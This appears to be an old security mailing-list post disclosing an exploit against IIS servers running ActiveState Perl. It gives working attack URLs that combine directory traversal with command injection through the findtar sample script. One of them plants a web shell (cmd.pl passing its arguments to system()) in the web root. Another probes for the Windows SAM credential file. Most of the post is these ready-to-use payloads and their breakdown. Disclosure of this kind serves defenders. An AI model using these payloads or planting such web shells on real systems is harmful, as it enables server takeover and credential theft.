Filename Inspection+Perl can Executing commands

[Billy Nothern <disk_key () HOTMAIL COM>]

Using a few flaws recently discovered (notably filename inspection, good job
NSFocus), and a couple new ones, it is possible to get Perl to execute
commands on the local system via IIS. Although, there are a few requirements
for this to work:

1)      Server has to be running ActiveState's Perl (only tested with this,
others MAY be vulnerable)
2)      Attacker knows where Perl is located

I'm assuming that the wwwroot of HOST is C:\InetPub\wwwroot\ and that Perl
is located in C:\Perl\

Here is an example URL an attacker could use:

http://host/."./."./Perl/eg/core/findtar+&+echo+hacked+>+c:\InetPub\wwwroot\hacked.html+&+.pl

That will execute C:\Perl\eg\core\findtar with arguments of:

& echo hacked > c:\InetPub\wwwroot\hacked.html & .pl

findtar is a sample that comes with ActiveState's Perl. I'm assuming it also
comes with other versions of Perl also. There are several scripts that you
can use to attack, I'm just using findtar as an example. When findtar is
executed, it uses the command line arguments in an open() call. Here is the
bad line of findtar:

open(find,"/usr/bin/find $args -ls |") || die "Can't run find for you.";

Just before this, $args is set by saying:

$args = join(' ',@ARGV);

As you can see, there isn't any checking of the arguments before they are
passed to the open() call. And why should there be, you shouldn't be able to
execute this from a browser anyway. So passing the arguments mentioned
earlier results in the command line:

/usr/bin/find & echo hacked > c:\InetPub\wwwroot\hacked.html & .pl -ls

Being executed on the system. Now going to http://host/hacked.html will
result in "hacked" being displayed.

A breakdown of the URL:

 http://host/                                                   Just the host
 ."./."./                                                             Traverses to C:\
 Perl/eg/core/findtar                                           Perl script to execute
+&+echo hacked+>+c:\InetPub\wwwroot\hacked.html+&+.pl                Arguments to the Perl
script.

One disadvantage of this exploit is that it's "blind". You can't see what
the output of a given command was. That can be easily fixed, see example.

Here's an example attack:

Assuming that the wwwroot of HOST is C:\InetPub\wwwroot\
Assuming that Perl is located in C:\Perl\

http://host/."./."./Perl/eg/core/findtar+&+echo+system(@ARGV);+>+c:\InetPub\wwwroot\cmd.pl+&+.pl

We now have a file at http://host/cmd.pl that passes it's arguments to
system(); Executing commands is even easier now, and we can see the
command's output. To execute "net view" we would simply call:

        http://host/cmd.pl?net%20view

And the output would be returned to us. It's worth mentioning that the
various parts of this exploit can be used alone.

You can get Perl to read any file you want by simply traversing to C:\ and
then walking back up to it's path. To see if C:\winnt\repair\sam._ exists, I
would simply go to:

        http://host/."./."./winnt/reapir/sam._%20.pl

Perl will respond with something other than "File Not Found" if the file
exists.

You could use the bad example files from ActiveState's Perl if Perl was
installed, anywhere on the wwwroot branch. Say we installed Perl to
C:\InetPub\wwwroot\Perl\. It would be trivial to get
C:\InetPub\wwwroot\Perl\eg\core\findtar to execute commands for us. This
would also apply to a Unix installation.

The ."./."./ part needs no explanation, that is extremely useful. Breaking
out of WEBROOT is a no-no.

Thanks to NSFocus for the filename inspection information.

-key

_____________________________________________________________________________________
Get more from the Web.  FREE MSN Explorer download : http://explorer.msn.com